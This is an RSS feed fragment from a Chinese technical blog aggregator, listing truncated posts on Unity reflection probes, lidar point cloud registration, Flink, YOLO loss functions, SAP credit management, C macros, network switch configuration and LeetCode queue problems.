      <title>光线反射设置&amp;反射探针</title>
      <link>https://bchobby.github.io/posts/fc1000cbdf15d778767c67a710852423/</link>
      <pubDate>Wed, 22 Feb 2023 11:28:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc1000cbdf15d778767c67a710852423/</guid>
      <description>目录&#xA;1. 反射探针概念&#xA;2. 反射探针的工作原理&#xA;3. 反射探针组件&#xA;属性&#xA;4. 3D 场景中的默认光照探针&#xA;AmbientProbe —— 环境（光）探针&#xA;禁用 SkyManager&#xA;5. 反射探针使用步骤&#xA;添加反射探针：&#xA;添加具有镜面效果表面的反射对象：&#xA;反射探针添加位置&#xA;6. 改正室内光照场景中的金属苹果反射&#xA;在前面的室内场景中，有一个漂浮的金属质地苹果，它反射了画廊中位于其上方的两个彩色聚光灯，但它也反射了室内空间之外的天空盒。看起来非常违和，是因为它上面的反射根本就是错误的！&#xA;在本节中，将介绍反射探针的概念及用法，到最后，大家会学会如何设置反射探针，并将上面的苹果反射修正。&#xA;1. 反射探针概念 现实中，具有镜面特征的物体表面，可以映出周围的景象，比如，镜子、窗户玻璃、车窗、高光墨镜、金属物体、平静的水面等。&#xA;CG 电影和动画通常具有高度逼真的反射，这对于在场景中的对象之间提供“连接”感非常重要。 然而，这些反射的准确性伴随着处理器时间的高成本，虽然这对电影来说不是问题，但它严重限制了反射物体在实时游戏中的使用。&#xA;显然，直接建立对象间连接，生成生成静态或动态投影的方式，在游戏中代价太高，特别是动态的。虽然在一些高级硬件中，配合特定算法，已经能够实现反射动态投影，但不适合大多数游戏和硬件。&#xA;以前传统的处理方式：游戏使用一种称为_反射贴图_的技术来模拟来自对象的反射，同时将处理开销保持在可接受的水平。此技术假定场景中的所有反射对象都可以“看到”（因此会反射）完全相同的周围环境。&#xA;Unity 通过使用__反射探针__改进了基本反射贴图，这种探针可在场景中的关键点对视觉环境进行采样。通常情况下，应将这些探针放置在反射对象外观发生明显变化的每个点上（例如，隧道、建筑物附近区域和地面颜色变化的地方）。当反射对象靠近探针时，探针采样的反射可用于对象的反射贴图。此外，当几个探针位于彼此附近时，Unity 可在它们之间进行插值，从而实现反射的逐渐变化。因此，使用反射探针可以产生非常逼真的反射，同时将处理开销控制在可接受的水平。&#xA;反射探针在场景中也有一个不可见的框，用作效果区域。可以配置此框的大小。&#xA;在反射探测器区域内通过的反射对象的反射立方体贴图由该反射探测器临时提供。当对象从一个区域移动到另一个区域时，立方体贴图会相应地发生变化。&#xA;2. 反射探针的工作原理 场景中某个点的视觉环境可由立方体贴图表示。立方体贴图在概念上很像一个在内部表面绘有六个方向（上、下、左、右、前、后）平面图像的盒子。&#xA;为了让对象显示反射，其着色器必须能够访问表示立方体贴图的图像。对象表面的每个点都可在表面朝向的方向（即表面法向矢量的方向）上“看到”立方体贴图的一小块区域。着色器在此处使用立方体贴图的颜色来计算对象表面应该是什么颜色；镜面材质可能会准确反射颜色，而闪亮的汽车可能会略微褪色和着色。&#xA;3. 反射探针组件 __反射探针__非常像一个捕捉周围各个方向的球形视图的摄像机。然后，捕捉的图像将存储为立方体贴图，可供具有反射材质的对象使用。可在给定场景中使用多个反射探针，并可将对象设置为使用由最近探针生成的立方体贴图。带来的结果是对象上的反射可根据环境发生令人信服的变化。&#xA;属性 不同的渲染管线，反射探针的属性也不同，下面是内置渲染管线的&#xA;探针的 Type 属性可确定如何创建和更新反射数据：&#xA;烘焙 (Baked) 探针可存储 Editor 中烘焙的静态反射立方体贴图。自定义 (Custom) 探针可存储通过烘焙生成的或由用户手动设置的静态立方体贴图。实时 (Realtime) 探针在运行时更新立方体贴图，因此可对场景中的动态对象做出反应。 其他两种渲染管线中的反射探针具体属性文档，可以从下面的链接中找到：&#xA;URP 渲染管线文档：https://docs.unity3d.com/Packages/com.unity.render-pipelines.universal@latest/&#xA;HDRP 渲染管线文档：https://docs.unity3d.com/Packages/com.unity.render-pipelines.high-definition@latest/&#xA;4. 3D 场景中的默认光照探针 Unity 不仅使用天空盒来生成和配置环境光，而且还会在使用了天空盒（SkyBox）的 3D 场景中自动生成 AmbientProbe —— 环境（光）探针 和 反射探针。</description>
    </item>
    <item>
      <title>激光点云系列之三：点云配准</title>
      <link>https://bchobby.github.io/posts/b2e0d33765dbe49272d6a5e6151062c5/</link>
      <pubDate>Wed, 22 Feb 2023 10:08:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2e0d33765dbe49272d6a5e6151062c5/</guid>
      <description>交流群 | 进“传感器群/滑板底盘群”请加微信号：xsh041388&#xA;交流群 | 进“汽车基础软件群”请加微信号：Faye_chloe&#xA;备注信息：群名称 + 真实姓名、公司、岗位&#xA;作者 | 奚少华&#xA;在第一篇《详解激光雷达点云数据的处理过程》和第二篇《激光雷达点云处理中遇到的问题及对策》的激光点云系列文中，笔者分别分析了激光雷达的点云处理流程和点云处理环节中遇到的典型问题及对策。在本篇文章中，笔者将重点分析激光点云在定位环节中的点云配准技术。&#xA;由于受到视场角的限制，激光雷达在实时采集点云数据时，只能获得有限视野范围内的点云图像。为了获得三维场景的点云数据，感知算法人员需要在已知的初始姿态信息下，将采集到的前后两帧不同点云转换到统一坐标系下，将点云重合的部分拼接在一起——这就是点云配准技术。&#xA;下文将逐一分析点云配准具体是什么、点云配准的技术方法、点云配准面临的问题及对策。&#xA;01&#xA;点云配准在自动驾驶方面的应用&#xA;点云配准早先主要应用于建筑行业中的建筑信息模型（BIM）、采矿行业中的矿区开采等，而在自动驾驶领域内的作用主要有三类，分别为三维地图构建、高精地图定位、姿态估计。&#xA;第一，三维地图构建。在建高精地图时，自动驾驶系统通过激光雷达采集回来的相邻帧点云进行点云配准后，将不同位置采集回来的点云统一到一个坐标系下，然后构建出一个三维的高精度地图。&#xA;第二，高精地图定位。在自动驾驶车辆行驶时，车辆需要做到厘米级的精准定位。例如，自动驾驶车辆需要估计其在地图上的精确位置及车与道路路沿的距离。自动驾驶系统通过点云配准技术，将实时采集到的点云数据与高精地图的数据做匹配，为自动驾驶车辆给出精确的定位。&#xA;第三，姿态估计。自动驾驶系统通过点云配准技术来估计车辆的相对姿态信息，然后并有利于对车辆做决策规划。&#xA;02&#xA;点云配准的工作原理与技术方法&#xA;2.1 点云配准的工作原理 点云配准的工作原理是激光雷达由于受到环境等各种因素的限制，在点云采集过程中单次采集到的点云只能覆盖目标物表面的一部分，为了得到完整的目标物点云信息，就需要对目标物进行多次扫描，并将得到的三维点云数据进行坐标系的刚体变换，把目标物上的局部点云数据转换到同一坐标系下。&#xA;通俗点来说，点云配准的关键是如何寻找到初始点云和目标点云之间的对应关系，然后通过这个对应关系将原始点云和目标点云进行匹配，并计算出它们的特征相似度，最后统一到一个坐标系下。&#xA;图：点云的三维建图效果&#xA;（数据来源：互联网）&#xA;点云配准通常可分为两个步骤，分别是粗配准和精配准。&#xA;粗配准，即点云的初始配准，指的是通过一个旋转平移矩阵的初值，将两个位置不同的点云尽可能地对齐。粗配准的主流方法包括RANSAC、4PCS等。&#xA;经过粗配准之后，两片点云的重叠部分已经可以大致对齐，但精度还远远达不到自动驾驶车辆的定位要求，需要进一步做精配准。&#xA;精配准指的是在初始配准的基础上，进一步计算两个点云近似的旋转平移矩阵。精配准的主流方法包括ICP、NDT、深度学习等。&#xA;2.2 点云配准的技术方法 上文提到了一些点云配准的具体方法，由于各家自动驾驶公司的技术水平与技术方案都不同，所以他们会采用不同的点云配准方法——有些公司会在粗配准或者精配准过程中只采取一种方法，也有些公司会采取多种组合的方法。比如，在精准配过程中，某些公司会采用ICP+深度学习的方式。该章节将详细论述上文的几种点云配准方法。&#xA;2.2.1 粗配准的技术方法 （1）RANSAC（RAndom SAmple Consensus,随机采样一致）&#xA;方法原理：该算法从给定的样本集中随机选取一些样本并估计一个数学模型，将样本中的其余样本带入该数学模型中验证，如果有足够多的样本误差在给定范围内，则该数学模型最优，否则继续循环该步骤。&#xA;RANSAC算法被引入三维点云配准领域，其本质就是不断的对源点云进行随机样本采样并求出对应的变换模型，接着对每一次随机变换模型进行测试，并不断循环该过程直到选出最优的变换模型作为最终结果。&#xA;具体步骤：&#xA;1）对点云进行降采样和滤波处理，减少点云的计算量。&#xA;2）基于降采样和滤波处理后的点云数据，进行特征提取。&#xA;3）使用RANSAC算法进行迭代采样，获取较为理想的变换矩阵。&#xA;4）使用所获得的变换矩阵进行点云变换操作。&#xA;优点：适用于较大点云数据量的情况，可以在不考虑点云间距离大小的情况下，都能实现点云的粗配准。&#xA;缺点：存在配准精度的不稳定的问题。&#xA;（2）4PCS（4-Points Congruent Sets，全等四点集）&#xA;方法原理：该算法利用刚体变换中的几何不变性（如向量/线段比例、点间欧几里得距离），根据刚性变换后交点所占线段比例不变以及点之间的欧几里得距离不变的特性，在目标点云中尽可能寻找４个近似共面点（近似全等四点集）与之对应，从而利用最小二乘法计算得到变换矩阵，基于RANSAC算法框架迭代选取多组基，根据最大公共点集（LCP）的评价准则进行比较得到最优变换。&#xA;具体步骤：&#xA;1）在目标点云集合中寻找满足长基线要求的共面四点基（基线的确定与输入参数中overlap有很大关系，overlap越大，基线选择越长，长基线能够保证匹配的鲁棒性，且匹配数量较少）。&#xA;2）提取共面四点基的拓扑信息，计算四点基间的两个比例因子。&#xA;3）计算四种可能存在的交点位置，进而计算所有中长基线点对的交点坐标，比较交点坐标并确定匹配集合，寻找到对应的一致全等四点。&#xA;4）寻找点云中所有的共面四点集合，重复上述步骤可得到全等四点集合，并寻找最优全等四点对。&#xA;优点：适用于重叠区域较小或者重叠区域发生较大变化场景点云配准，无需对输入数据进行预滤波和去噪。&#xA;缺点：不适合工程化应用。&#xA;2.2.2 精配准的技术方法 （1）ICP（Iterative Closest Point，最近点迭代法）&#xA;方法原理：选取两片点云中距离最近的点作为对应点，通过所有对应点对求解旋转和平移变换矩阵，并通过不断迭代的方式使两片点云之间的配准误差越来越小，直至满足我们提前设定的阈值要求或迭代次数。&#xA;具体步骤：&#xA;1）计算源点云中的每一个点在目标点集中的对应近点。</description>
    </item>
    <item>
      <title>flink流式分析</title>
      <link>https://bchobby.github.io/posts/00e67b703faef994de595e1d5ce96b59/</link>
      <pubDate>Wed, 22 Feb 2023 08:23:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00e67b703faef994de595e1d5ce96b59/</guid>
      <description> 时间语义 flink明确支持以下三种时间语义，如果想要使用事件时间，需要额外给flink提供一个时间戳提取器和Watermark生成器，flink使用它们来跟踪事件时间的进度&#xA;事件时间：事件产生时间，数据中的记录的时间摄取时间：flink读取事件时的时间处理时间：具体算子处理事件的时间 Watermarks watermarks的作用是定义何时停止等待较早的时间（乱序的事件流）&#xA;windows windows的作用是将无界数据流分解成有界数据流做聚合分析&#xA;用 flink 计算窗口分析取决于两个主要的抽象操作：Window Assigners，将事件分配给窗口（根据需要创建新的窗口对象），以及 Window Functions，处理窗口内的数据&#xA;窗口分类&#xA;滚动时间窗口滑动时间窗口滚动事件窗口滑动事件窗口会话窗口全局窗口 窗口应用函数&#xA;批处理，ProcessWindowFunction 会缓存 Iterable 和窗口内容，供接下来全量计算流处理，每一次有事件被分配到窗口时，都会调用 ReduceFunction 或者 AggregateFunction 来增量计算两者结合，通过 ReduceFunction 或者 AggregateFunction 预聚合的增量计算结果在触发窗口时， 提供给 ProcessWindowFunction 做全量计算 晚到的事件 默认场景下，超过最大无序边界的事件会被删除，但我们有两个选择去控制这些事件&#xA;旁路输出指定允许的延迟间隔，在这个间隔事件内，延迟的事件会继续分配给窗口 深入了解窗口操作 滑动窗口是通过复制来实现的时间窗口会和时间对齐，一个小时的窗口，12:05开始运行，第一个窗口会在1:00关闭。滑动窗口和滚动窗口分配器所才用的offset参数可以改变窗口的对齐方式。窗口后面可以再接窗口事件触发窗口的创建，如果窗口内没有事件，就不会有窗口，也就不会输出结果 </description>
    </item>
    <item>
      <title>优化改进YOLOv5算法之Wise-IOU损失函数</title>
      <link>https://bchobby.github.io/posts/309425facde792ed43d6971bad721089/</link>
      <pubDate>Tue, 21 Feb 2023 23:43:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/309425facde792ed43d6971bad721089/</guid>
      <description>1 Wise-IOU损失函数 边界框回归（BBR）的损失函数对于目标检测至关重要。它的良好定义将为模型带来显著的性能改进。大多数现有的工作假设训练数据中的样本是高质量的，并侧重于增强BBR损失的拟合能力。如果盲目地加强低质量样本的BBR，这将危及本地化性能。Focal EIoU v1被提出来解决这个问题，但由于其静态聚焦机制（FM），非单调FM的潜力没有被充分利用。基于这一思想，作者提出了一种基于IoU的损失，该损失具有动态非单调FM，名为Wise IoU（WIoU）。当WIoU应用于最先进的实时检测器YOLOv7时，MS-COCO数据集上的AP75从53.03%提高到54.50%。&#xA;现有工作记锚框为 ，目标框为 IoU 用于度量目标检测任务中预测框与真实框的重叠程度，定义为：&#xA;同时，IoU 有一个致命的缺陷，可以在下面公式中观察到。当边界框之间没有重叠时 ， 反向传播的梯度消失。这导致重叠区域的宽度 在训练时无法更新&#xA;现有的工作考虑了许多与包围盒相关的几何因素并构造了惩罚项 来解决这个问题，现有的边界框损失都是基于加法的损失，并遵循以下范式：&#xA;Distance-IoU&#xA;DIoU 将惩罚项定义为中心点连接的归一化长度：&#xA;同时为最小包围框的尺寸 提供了负梯度，这将使得 增大而阻碍预测框与目标框重叠： 但不可否认的是，距离度量的确是一个极其有效的解决方案，成为高效边界框损失的必要因子。EIoU 在此基础上加大了对距离度量的惩罚力度，其惩罚项定义为：&#xA;Complete-IoU&#xA;在的基础上，CIoU 增加了对纵横比一致性的考虑：&#xA;其中的描述了纵横比一致性：&#xA;其中反向传播的梯度满足 ，也就是不可能为预测框的宽高提供同号的梯度。在前文对 DIoU 的分析中可知 DIoU 会产生负梯度，当这个负梯度与正好抵消时，会导致预测框无法优化。而 CIoU 对纵横比一致性的考虑将打破这种僵局。&#xA;Scylla-IoU&#xA;Zhora Gevorgyan 证明了中心对齐的边界框会具有更快的收敛速度，以 angle cost、distance cost、shape cost 构造了 SIoU。其中 angle cost 描述了边界框中心连线与 x-y 轴的最小夹角：&#xA;distance cost 描述了两边界框的中心点在x轴和y轴上的归一化距离，其惩罚力度与 angle cost 正相关。distance cost 被定义为：&#xA;shape cost 描述了两边界框的形状差异，当两边界框的尺寸不一致时不为 0。shape cost 被定义为：&#xA;与类似，它们都由 distance cost 和 shape cost 组成： Wise IoU</description>
    </item>
    <item>
      <title>SAP SD模块 信用额度不正确怎么办</title>
      <link>https://bchobby.github.io/posts/6c5a0a4214187f60f08b0f1d395fb8e9/</link>
      <pubDate>Tue, 21 Feb 2023 22:45:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c5a0a4214187f60f08b0f1d395fb8e9/</guid>
      <description>信用管理是SD模块中重要的一部分，是为降低公司经营风险，用于对不同类型的客户实施不同管理政策。信用相关的事务码包括：信用特批VKM1 VKM3，信用维护 FD32 FD33。&#xA;当发现某一客户信用有问题，可以使用SE38&amp;gt;RVKRED88模拟更新信用，如果与FD33查看客户的信用不一致，则需要使用SE38&amp;gt;RVKRED77更新客户信用。&#xA;在使用RVKRED77更新客户信用时，SAP会锁表，当用户在做修改订单等操作时，RVKRED77是不会更新成功的，如要RVKRED77更新客户信用，有两个方式可供选择：&#xA;1）挑选中午或下班时更新数据，此时在系统中操作的用户相对较少，更新信用成功的概率相对较高，当然如果很急就不能采用这个方式了；&#xA;2）设定后台作业更新，2min更新一次，记得定时查看后台作业是否成功，更新成功了取消后台作业即可。&#xA;然而在前段时间，遇到了一个很特殊的场景*（客户有一张发货单的POD数量为0，该张发货单开票后，未将所占用的信用额度释放）*，特殊之处在于①能确定FD33查看到的客户信用额度错误；②使用RVKRED88，RVKRED77不能将客户信用更新为正常的值，后来查了NOTE 2742146 - RVKRED77: Incorrect open delivery value，结合测试终于搞定了这个问题。&#xA;问题和NOTE中描述的一致：&#xA;1）启用了POD；&#xA;2）有一张POD数量=0的发货单；&#xA;3）该客户有未完结的订单or发货单；&#xA;4）发票与发货单相关。&#xA;知道了问题出在哪里，解决起来其实很方便。捞出来该客户的未清订单，发现确实存在一张订单，订单中的部分已经完成发货过账&amp;gt;POD确认（存在POD数量=0的发货单）&amp;gt;开票一系列操作，但是订单中仍然有一部分数量未发货。解决方法就很简单了，①将订单中的未清数量先结案（为了运行RVKRED77能正确更新客户信用）；②SE38运行RVKRED88以及RVKRED77，运行完成之后会发现被错误占用的信用额度已经释放；③将订单中的未清数量反结案，再观察FD33客户的信用是否正确，此时已经恢复正常。</description>
    </item>
    <item>
      <title>你想知道的do{...}while(0)的作用，都在这里了</title>
      <link>https://bchobby.github.io/posts/405533badb5e820e495a2c4579f236a2/</link>
      <pubDate>Tue, 21 Feb 2023 22:38:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/405533badb5e820e495a2c4579f236a2/</guid>
      <description>我们在嵌入式开发的过程中，经常可以碰到在一些宏定义或者是代码段中使用了do {...} while(0)的语句，从语义上理解，do {...} while(0)内的逻辑就只执行一次，并没有循环执行，粗略看来，似乎画蛇添足了，那么为什么还需要在只执行一次的逻辑外面加上一层do {...} while(0)语句呢？实际上，在这些逻辑中使用do {...} while(0)的作用远大于美化你的代码，下面就来看看实际的使用场景。&#xA;1、用于定义一个作用域，避免替换的时候出错 我们都知道，在程序中如果一些常量参数或者代码语句反复出现，就可以使用宏定义来替代。预处理阶段，对程序中所有出现的“宏名”，预处理器都会用宏定义中的字符串替代，这称为“宏替换”或“宏展开”。&#xA;这样做可提高程序的通用性和易读性，减少不一致性，一个较好的宏名可以更好的让读者理解常量参数的含义；同时程序易于修改，我们仅需要改变一个宏定义，就可以改变整个程序中出现的所有该常量或者语句。&#xA;但是有时可能程序代码段中，出现多条语句重复连续的使用，这样我们就可以尝试使用一个复杂的宏来替换。你有可能会这样定义：&#xA;1#define REPLACE_FUN() funA(); funB() 本意是在程序中当出现funA()和funB()多条语句连续使用时，使用REPLACE_FUN()来替换。&#xA;1if(判断条件) 2 REPLACE_FUN(); 但是实际上在预处理的时候，宏展开替换后变成了： 1if(判断条件) 2 funA(); 3 funB(); //此处funB()一定会执行，造成逻辑错误 可以看出，funB()不会按照判断条件才去执行。而是变成了一条独立的语句，而如果在宏中使用括号：&#xA;1#define REPLACE_FUN() {funA(); funB();} 我们一般的代码习惯都会在语句的末尾加上分号，因此也会出错:&#xA;1if(判断条件) 2 REPLACE_FUN(); 3//宏展开后为：4if(判断条件) 5{ 6 funA(); 7 funB(); 8 }; //此处替换后多一个分号；导致编译报错 因此，针对这种多条重复语句的连续使用，如果想用宏替换实现这个作用域的功能，就可以考虑使用do {...} while(0)语句：&#xA;1define REPLACE_FUN() \ 2do{ \ 3 funA();\ 4 funB();\ 5 }while(0)\ 6//宏展开前为： 7if(判断条件) 8 REPLACE_FUN(); 9//宏展开后为：10if(判断条件) 11do{ 12 funA(); 13 funB(); 14 }while(0); //根据判断条件，正确执行了一次逻辑 2、避免goto语句的使用 goto语句也称为无条件转移语句，使用后可以从多重循环或者多个判断中直接跳出。对于如下例子：</description>
    </item>
    <item>
      <title>2023年寒假算法训练营周赛Round 3</title>
      <link>https://bchobby.github.io/posts/e7d405021e4b71e8a8ebb4e5114fd403/</link>
      <pubDate>Tue, 21 Feb 2023 22:37:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7d405021e4b71e8a8ebb4e5114fd403/</guid>
      <description>P5724 【深基4.习5】求极差 / 最大跨度值 题目链接&#xA;题意 给出 n 和 n 个整数 a i，求这n 个整数中的极差是什么。极差的意思是一组数中的最大值减去最小值的差。&#xA;思路 运用最大值减去最小值 坑点 无 算法一： 实现步骤 将最大值减去最小值 代码 #include&amp;lt;bits/stdc++.h&amp;gt; using namespace std; int a[100001];//将在a数组里 int main() { int n; cin&amp;gt;&amp;gt;n; for(int i=1;i&amp;lt;=n;i++) { cin&amp;gt;&amp;gt;a[i]; } sort(a+1,a+n+1); cout&amp;lt;&amp;lt;a[n]-a[1];//a[n]为最大值，-a[1] 为最小值 return 0; } 总结 一道很简单的基础题&#xA;题目名字 题目链接&#xA;题意 设有一个&#xA;N×M方格的棋盘(1≤N≤100,1≤M≤100)求出该棋盘中包含有多少个正方形、多少个长方形（不包括正方形）。&#xA;思路 找规律 坑点 不注意正方形以及长方形的区分 算法一 实现步骤 1.小写为正方形个数，大写为长方形加上正方形个数&#xA;代码 #include&amp;lt;iostream&amp;gt; #include&amp;lt;cmath&amp;gt; //头文件 int n,m,sum,N,M,SUM; //定义，小写的是求正方形个数的 ，大写的是求正方形+长方形个数的 int main() { cin&amp;gt;&amp;gt;n&amp;gt;&amp;gt;m; //读入棋盘的长和宽 //输入 for(int i=1; i&amp;lt;=min(n,m); i++) //枚举边长，记住min(n,m)，因为正方形只能由小的那条边作为边长，记住，这个min函数是在cmath库里调用的 sum+=(n-i+1)*(m-i+1); //套公式（n-边长+1）*（m-边长+1） //求正方形，知识点：1.</description>
    </item>
    <item>
      <title>软件测试重要的7项原则</title>
      <link>https://bchobby.github.io/posts/038376c785fb1f7b98e67f61ed49925b/</link>
      <pubDate>Tue, 21 Feb 2023 21:15:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/038376c785fb1f7b98e67f61ed49925b/</guid>
      <description>01 持续地测试 持续地反馈。软件测试贯穿着整个软件开发生命周期，随时发现需求、设计或代码中问题，及时将发现的问题反馈给用户、产品设计人员、开发人员等，主动、积极地交流，持续提高软件产品质量，这在敏捷测试中更为重要。&#xA;02 80/20 原则 在有限的时间和资源下进行测试，找出软件中所有的错误和缺陷是不可能的，因此测试总是存在风险的。测试的一个重要目标是尽量减少风险，抓住重点进行更多的测试。根据80/20 原则，即帕累托法则(Pareto Principle)，用户80%的时间在使用软件产品中20%的功能。“重点测试”就是测试这20%的功能，而其他80%的功能属于优先级低的测试范围，占测试20%的资源。&#xA;03 建立清晰的阶段性目标 饭要一口一口地吃，不能一口就吃成胖子。测试的目标也要逐步达到，不可能在某一瞬间就达到。根据软件开发生命周期的不同阶段性任务，我们要决定相应的测试目标和任务。如在需求分析阶段，要参与需求评审以全面理解用户需求、发现需求的问题;在功能测试执行阶段，测试人员不仅要对新功能进行测试，而且要有效地完成回归测试。&#xA;04 测试独立性 测试在一定程度上带有“挑剔性”，心理状态是测试自己程序的障碍。同时，对于需求规格说明的错误理解也很难在程序员本人进行测试时被发现。程序员应避免测试自己的程序，为达到最佳的效果，应由独立的测试小组、第三方来完成测试。&#xA;05 确保可测试性 事先定义好产品的质量特性指标，测试时才能有据可依。有了具体的指标要求，才能依据测试的结果对产品的质量进行客观的分析和评估，才能使软件产品具有良好的可测试性。例如，进行性能测试前，产品规格说明书就已经清楚定义了各项性能指标。同样，测试用例应确定预期输出结果，如果无法确定所期望的测试结果，则无法进行正确与否的校验。&#xA;06 计划是一个过程 虽然通过文档来描述软件测试计划，并最后归档，但计划是一个过程，是指导各项软件测试活动的持续过程。在项目开始时很难将所有的测试点、测试风险等都了解清楚，随着时间推移，通过需求和设计的评审和探索式测试，对产品的理解越来越深，对测试的需求和风险越来越了解，可以进一步细化、不断丰富测试计划。其次，计划赶不上变化，软件产品的需求常会发生变化，测试计划不得不因此做出调整。所以，测试计划是适应实际测试状态不断变化而进行调整的一个过程。&#xA;07 一切从用户角度出发 在所有测试活动的过程中，测试人员都应该从客户的需求出发，想用户所想。正如我们所知，软件测试的目标就是验证产品开发的一致性和确认产品是否满足客户的需求，与之对应的任何产品质量特性都应追溯到用户需求。测试人员要始终站在用户的角度去思考、分析产品特性，多问问类似下面这样的问题：&#xA;这个新功能对客户的价值是什么？&#xA;客户会如何使用这个新功能？&#xA;客户在使用这个功能时，会进行什么样的操作？&#xA;按目前设计，用户觉得方便、舒服吗？&#xA;如果发现缺陷，去判断软件缺陷对用户的影响程度，系统中最严重的错误是那些导致程序无法满足用户需求的缺陷。软件测试，就是揭示软件中所存在的逻辑错误、低性能、不一致性等各种影响客户满意度的问题，一旦修正这些错误就能更好地满足用户需求和期望。&#xA;最后： 下方这份完整的软件测试视频学习教程已经整理上传完成，朋友们如果需要可以自行免费领取 【保证100%免费】&#xA;这些资料，对于【软件测试】的朋友来说应该是最全面最完整的备战仓库，这个仓库也陪伴上万个测试工程师们走过最艰难的路程，希望也能帮助到你!</description>
    </item>
    <item>
      <title>elementui上传图片 回显</title>
      <link>https://bchobby.github.io/posts/c66027653918d33d1ee0d77354861538/</link>
      <pubDate>Tue, 21 Feb 2023 20:18:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c66027653918d33d1ee0d77354861538/</guid>
      <description>&amp;lt;el-upload class=&#34;avatar-uploader&#34; ref=&#34;otherLicense&#34; action :auto-upload=&#34;false&#34; :on-preview=&#34;handlePicPreview&#34; :on-remove=&#34;handleRemove&#34; :file-list=&#34;form.fileList&#34; :limit=&#34;imgLimit&#34; :on-change=&#34;otherSectionFile&#34; list-type=&#34;picture-card&#34; multiple &amp;gt; &amp;lt;i class=&#34;el-icon-plus&#34;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;/el-upload&amp;gt; &amp;lt;!-- 上传图片放大 --&amp;gt; &amp;lt;el-dialog :visible.sync=&#34;dialogVisible&#34;&amp;gt; &amp;lt;img width=&#34;100%&#34; :src=&#34;dialogImageUrl&#34; alt=&#34;&#34; /&amp;gt; &amp;lt;/el-dialog&amp;gt; data中&#xA;// 业务结束证明材料 let validateImage = (rule, value, callback) =&amp;gt; { // console.log(this.AddDateModel.fileId); //验证器 if (this.AddDateModel.fileId.length &amp;lt;= 0) { //为true代表图片在 false报错 callback(new Error(&#34;请上传业务结束证明材料&#34;)); } else { callback(); } }; AddDateModel: { fileId:[] }, // 回显图片的路径 photoList: [{ url: &#34;&#34; }], // 放大图片的路径 dialogImageUrl: &#34;</description>
    </item>
    <item>
      <title>网络有线无线配置</title>
      <link>https://bchobby.github.io/posts/2aaa720a9ffa836f712202ec0517d498/</link>
      <pubDate>Tue, 21 Feb 2023 19:37:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2aaa720a9ffa836f712202ec0517d498/</guid>
      <description>一、需求 在无线接入区内，当Lsw1的上联口出现故障时，需要通过AP1-LSw1-LSw2-LSw3的路径访问公网server3。这是因为AP1通过无线网连接到LSw1，而LSw1与LSw3之间的链路出现故障，无法直接访问公网server3。因此，流量需要通过LSw2进行转发，然后通过LSw3访问公网server3。&#xA;在有线接入区内，当Lsw2的上联口出现故障时，需要通过Lsw2-LSw1-LSw3的路径访问公网server。因为终端C通过有线网连接到LSw2，而Lsw2与LSw3之间的链路出现故障，无法直接访问公网server。因此，流量需要通过LSw1进行转发，然后通过LSw3访问公网server。&#xA;在无线接入区内，当Lsw1的上联口出现故障时，需要在LSw1和LSw2之间添加一个备用路径。具体配置命令如下：&#xA;实验过程：&#xA;二、配置命令 首先进行VLAN划分，将无线划分为VLAN10，管理AP划分为VLAN20，有线网划分为VLAN30.在LSW1和LSW2之间配置链路聚合，同时配置LSW1，LSW2，LSW3之间互联链路为trunk链路并且放行VLAN10，20，30，100的VLAN通过先在LSW3设备上面配置VLANif10，VLANif30的IP地址以及地址池，同时部署DHCP协议，使得无线终端和有线终端获取IP地址在AC1上部署VLANif20，同时配置地址池，并且配置dhcp使得AP获取到地址。配置设备管理VLANif100，对设备进行管理配置静态路由将外网打通以及设备管理打通配置telnet协议，采用aaa认证配置无线，无线ssid模板，安全模板，VAP模板，进行绑定，绑定到AP1，使得能终端能获取到VLAN10的地址。最后配置NAT策略，VLAN10和VLAN30的流量经过NAT转换。 具体配置如下： LSW1： sysname LSW1 # 设备更改设备名 vlan batch 10 20 30 100 # interface Vlanif100 ip address 192.168.100.1 255.255.255.0 # interface MEth0/0/1 # interface Eth-Trunk10 port link-type trunk port trunk allow-pass vlan 2 to 4094 mode lacp-static # interface GigabitEthernet0/0/1 eth-trunk 10 # interface GigabitEthernet0/0/2 eth-trunk 10 # interface GigabitEthernet0/0/3 port link-type trunk port trunk allow-pass vlan 10 20 30 100 # interface GigabitEthernet0/0/4 port link-type trunk port trunk pvid vlan 20 port trunk allow-pass vlan 2 to 4094 创建VLAN，配置ETh-trunk10，同时在交换机互联接口配置trunk接口允许VLAN10，20，30，100通过 ip route-static 0.</description>
    </item>
    <item>
      <title>[LeetCode]-队列&amp;优先队列/堆</title>
      <link>https://bchobby.github.io/posts/d6536be930e1d9534cd360d8af93464a/</link>
      <pubDate>Tue, 21 Feb 2023 17:39:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6536be930e1d9534cd360d8af93464a/</guid>
      <description>前言 记录 LeetCode 刷题时遇到的 队列 以及 优先队列相关题目&#xA;队列 225.用队列实现栈 用两个队列实现栈。建立两个队列，队列1和队列2。数据输入时输入到其中一个队列，要取出数据时，将这个有数据的队列的元素一个一个出队并进入另一个队列，直到这个有数据的队列剩下最后一个元素时就是整个栈的栈顶元素，如果是要出栈，直接把这最后一个元素出队就可以了；如果是要获取栈顶元素，那就要先用一个Integer变量存这个元素的值，然后把这个元素加入另一个队列，再把这个值返回&#xA;所以可以看出来，两个队列，除了在初始化整个栈以及弹出所有栈中元素时都为空队列，其他时候两个队列中只会有一个队列不含元素。在入栈，出栈以及获取栈顶元素时要先判断&#xA;class MyStack { private LinkedList&amp;lt;Integer&amp;gt; queue1; private LinkedList&amp;lt;Integer&amp;gt; queue2; public MyStack() { queue1 = new LinkedList&amp;lt;&amp;gt;(); queue2 = new LinkedList&amp;lt;&amp;gt;(); } //入栈 public void push(int x) { if(queue1.peek() == null){ queue2.offer(x); }else { queue1.offer(x); } } //出栈 public int pop() { if(queue1.peek() == null){ if(queue2.peek() == null){ return -1; }else { while (queue2.size() &amp;gt; 1){ queue1.offer(queue2.poll()); } return queue2.</description>
    </item>
    <item>
